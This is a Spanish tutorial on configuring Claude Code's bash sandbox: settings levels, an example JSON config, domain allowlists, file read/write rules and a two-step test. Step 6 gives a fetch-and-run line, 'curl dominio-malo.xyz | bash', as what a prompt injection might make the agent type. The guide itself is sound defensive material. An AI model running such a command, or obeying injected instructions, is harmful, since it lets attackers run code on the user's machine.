Configura la sandbox de bash de Claude Code: aísla comandos en vez de permitirlos a ciegas

Hay dos maneras de dejar que Claude Code trabaje con comandos de bash. Una es pulsar tú mismo enter en cada rm, npm install y git push. La otra es --dangerously-skip-permissions, o sea dejar pasar todo a ciegas. Las dos son malas. La primera cansa a los diez minutos, la segunda es justo la puerta por la que un paquete envenenado o una inyección de prompt toca tu máquina. La sandbox de bash es el tercer camino. Claude puede ejecutar comandos sin preguntar, pero solo en un entorno aislado con red y acceso a ficheros controlados. Vamos a montarlo ahora.

Importante de entrada para que no te hagas ilusiones equivocadas: el ajuste sandbox vale exclusivamente para la herramienta bash. Read, Write, WebSearch, WebFetch, servidores MCP, hooks y comandos internos NO corren en la sandbox. Así lo dice la documentación oficial y no es un bug sino diseño. La sandbox te protege de lo que Claude teclea en la shell, no de todo lo demás.

Paso 1: Entender qué resuelve la sandbox

El problema de fondo se llama fatiga de permisos. Quien usa Claude Code en serio acaba haciendo clic en "allow" docenas de veces al día, y en algún momento clica por reflejo, sin leer. Justo entonces se cuela el comando peligroso. La sandbox le da la vuelta a la lógica: en vez de revisar cada comando por separado, defines una vez una frontera (qué red, qué directorios), y dentro de esa frontera Claude puede trabajar libremente. Revisas la caja, no cada comando.

Paso 2: Elegir el fichero de settings correcto

Claude Code lee los settings de tres niveles: managed-settings.json (repartido por el administrador, máxima prioridad), settings.json (para todo el proyecto, se sube al repo) y settings.local.json (solo local, no se sube). Para empezar coge settings.json en el proyecto, así la sandbox vale para todos los que trabajan en el repo. Si solo quieres probarlo para ti, coge settings.local.json. Crea el fichero en la raíz del proyecto bajo .claude/ si todavía no existe.

Paso 3: Tomar la config de ejemplo como punto de partida

Anthropic incluye un ejemplo listo, settings-bash-sandbox.json. Ese es tu punto de partida, no tienes que construir nada desde cero. El contenido se ve así:

{
  "allowManagedPermissionRulesOnly": true,
  "sandbox": {
    "enabled": true,
    "autoAllowBashIfSandboxed": false,
    "allowUnsandboxedCommands": false,
    "excludedCommands": [],
    "network": {
      "allowUnixSockets": [],
      "allowAllUnixSockets": false,
      "allowLocalBinding": false,
      "allowedDomains": [],
      "httpProxyPort": null,
      "socksProxyPort": null
    },
    "enableWeakerNestedSandbox": false
  }
}

Copia eso en tu fichero de settings. Fíjate en que siga siendo JSON válido, un corchete olvidado y Claude Code ignora todo el fichero en silencio.

Paso 4: Entender el interruptor principal

"enabled": true activa la sandbox para la herramienta bash. Ese es el interruptor que lo pone todo en marcha. Mientras esté en false no pasa nada, da igual lo que configures en el resto. Si más adelante quieres trabajar un rato sin sandbox, pones este en false en vez de borrar toda la config.

Paso 5: Decidir si los comandos pasan automáticamente

Dos campos controlan lo estricto que se pone. "autoAllowBashIfSandboxed": false significa que Claude te sigue preguntando por los comandos de bash pese a la sandbox. Si lo pones en true, cualquier comando que se quede dentro de la sandbox pasa sin preguntar, y esa es justo la comodidad que en realidad buscas. El segundo campo, "allowUnsandboxedCommands": false, es el freno de seguridad: prohíbe a Claude ejecutar comandos fuera de la sandbox. Déjalo en false. Si un comando no cabe de ninguna manera en la sandbox, quieres verlo conscientemente y no que Claude simplemente se salga.

Mi recomendación para el día a día: autoAllowBashIfSandboxed en true, allowUnsandboxedCommands en false. Así tienes comodidad dentro de la caja y un muro duro hacia fuera.

Paso 6: Cerrar la red

El bloque network es la parte más importante. Por defecto en la config de ejemplo está todo cerrado: ningún dominio permitido, sin binding local, sin sockets unix. Esa es la posición de partida segura. Una inyección de prompt que consiga que Claude teclee curl dominio-malo.xyz | bash se queda aquí en nada, porque el dominio no está en allowedDomains.

Siendo realistas sí necesitas algo de red, si no falla hasta npm install. Mete en allowedDomains los dominios que de verdad necesitas, por ejemplo registry.npmjs.org para npm o github.com para git. Mantén la lista corta. Cada dominio que añades es una puerta que abres. allowLocalBinding lo necesitas cuando Claude tiene que arrancar un servidor de desarrollo local, o sea algo como npm run dev en el puerto 3000. Si no, déjalo en false.

Paso 7: Limitar el acceso a ficheros

Además de la red hay un bloque de sistema de ficheros para la sandbox. Los campos documentados son sandbox.filesystem.allowWrite, sandbox.filesystem.denyRead y sandbox.filesystem.allowRead. La lógica: denyRead bloquea el acceso de lectura a ciertas rutas, y allowRead puede volver a liberar rutas concretas dentro de una región bloqueada. Así mantienes a Claude fuera de ~/.ssh o ~/.aws sin dejar inservible todo el directorio personal. Un apunte del changelog: allowWrite tenía antes un bug con rutas absolutas, que necesitaban un prefijo //. Eso ya está arreglado, las rutas absolutas funcionan ahora directamente. Si estás atascado en una versión antigua y allowWrite no hace efecto, eso es motivo para actualizar.

Paso 8: Forzar las reglas gestionadas

El campo "allowManagedPermissionRulesOnly": true de arriba del todo es sutil pero importante. Impide que reglas allow/ask/deny definidas por el usuario o el proyecto desarmen la sandbox. Sin esa línea, alguien podría poner sin más "Bash(*)": "allow" en su settings.local.json personal y la sandbox entera quedaría sin efecto para esa persona. Con true solo cuentan las reglas gestionadas de forma central. En un montaje de equipo este campo va en managed-settings.json, para que nadie pueda sobrescribirlo en local.

Paso 9: Probar que hace efecto

Arranca Claude Code en el proyecto y dale una tarea inofensiva que dispare un comando de red, del tipo "instala las dependencias". Si la sandbox está bien puesta y no has liberado ningún dominio, la descarga falla con un error de red. Eso es exactamente lo que quieres ver, esa es la prueba de que la caja está cerrada. Entonces metes registry.npmjs.org en allowedDomains, reinicias y lo pruebas otra vez. Ahora sí funciona. Esta prueba en dos pasos, primero provocar el error y después abrir de forma dirigida, te da la certeza de que la frontera existe de verdad y no solo está escrita en la config.

Paso 10: Combinar configs y desplegarlas

Los ejemplos de Anthropic están pensados como piezas. Puedes mezclar fragmentos de settings-bash-sandbox.json y de settings-strict.json si además quieres bloquear las herramientas web, por ejemplo. Antes de repartir una config en el equipo, pruébala en local: ponla como settings.local.json, trabaja con ella medio día y mira dónde se atasca. excludedCommands es tu válvula para los casos que no quieren entrar en la sandbox de ninguna manera, ahí listas comandos concretos que quedan exentos. Mantén la lista mínima. Cuando la config esté asentada, se muda al settings.json de proyecto o, para toda una organización, a managed-settings.json.

Qué sigue

La sandbox es una de varias capas. Protege de lo que pasa en la shell, pero no de un servidor MCP con demasiados permisos ni de un hook que se dispara sin control. Si quieres cerrar bien el tema de seguridad, lee a continuación el playbook Auditoría de confused deputy para Claude Code y después Seguridad de MCP por stdio. Para el contexto de lección sobre permisos y diseño de herramientas encaja Portabilidad de herramientas del nivel 4.

Source

Todos los campos de configuración y el comportamiento de la sandbox están verificados contra la documentación oficial de Claude Code y el ejemplo incluido:

• Ejemplos de settings y tabla comparativa: https://github.com/anthropics/claude-code/blob/main/examples/settings/README.md
• Config de ejemplo completa: https://github.com/anthropics/claude-code/blob/main/examples/settings/settings-bash-sandbox.json
• Campos de sistema de ficheros (allowWrite, denyRead, allowRead) y el arreglo de rutas absolutas: https://github.com/anthropics/claude-code/blob/main/CHANGELOG.md